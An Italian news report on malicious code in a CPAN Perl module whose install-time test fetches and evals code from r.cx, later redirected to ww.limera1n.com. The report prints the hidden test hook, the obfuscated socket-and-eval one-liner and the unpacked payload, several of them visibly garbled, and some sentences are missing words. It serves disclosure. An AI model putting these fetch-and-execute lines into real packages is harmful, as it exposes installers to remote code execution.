Nel pacchetto Perl distribuito tramite il catalogo CPAN , progettato per il caricamento automatico di moduli CPAN al volo, codice maligno. L'inserimento malevolo è stato nel codice del test , fornito dal 2011.
È interessante notare che le questioni relative al caricamento di codice sospetto sono emerse già nel 2016.
L'attività malevola si riduce a tentativi di caricare ed eseguire codice da un server esterno (http://r.cx:1/) durante l'esecuzione del set di test, avviato durante l'installazione del modulo. Si presume che il codice inizialmente caricato dal server esterno non fosse malevolo, ma ora la richiesta è reindirizzata al dominio ww.limera1n.com, che restituisce una porzione di codice da eseguire.
Per organizzare il caricamento nel file viene utilizzato il seguente codice:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Il codice specificato porta all'esecuzione dello script , il cui contenuto si riduce alla seguente stringa:
use lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.}:1"};
Questo script carica utilizzando il servizio codice da un host esterno r.cx (gli indirizzi numerici 82.46.99.88 corrispondono al testo "R.cX") e lo esegue nel blocco eval.
$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.}:1"; print ;'
eval unpack u=q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Dopo l'unpacking, alla fine viene eseguito il seguente :
print{$b=new IO::Socket::INET"ww.limera1n.com:80"}GET /iJailBreak
";eval or return warn$@while$b;1
Attualmente, il pacchetto problematico è stato rimosso dal repository (Perl Authors Upload Server), e l'account dell'autore del modulo è stato bloccato. Tuttavia, il modulo rimane nell'archivio MetaCPAN e può essere installato direttamente da MetaCPAN tramite alcuni strumenti, come cpanminus. , il che significa che il pacchetto non è stato ampiamente distribuito.
È interessante notare che ci sono state discussioni e l'autore del modulo ha smentito le informazioni secondo cui il codice maligno fosse stato inserito dopo l'hacking del suo sito "r.cx" e ha chiarito che si stava semplicemente divertendo, e perlobfuscator.com è stato usato non per nascondere qualcosa, ma per ridurre la dimensione del codice e semplificarne la copia attraverso il clipboard. La scelta del nome della funzione "botstrap" è spiegata dal fatto che questa parola "suona come bot ed è più corta di bootstrap". L'autore del modulo ha anche assicurato che le manipolazioni individuate non effettuano azioni malevole, ma dimostrano solo il caricamento e l'esecuzione di codice via TCP.
Fonte: opennet.ru
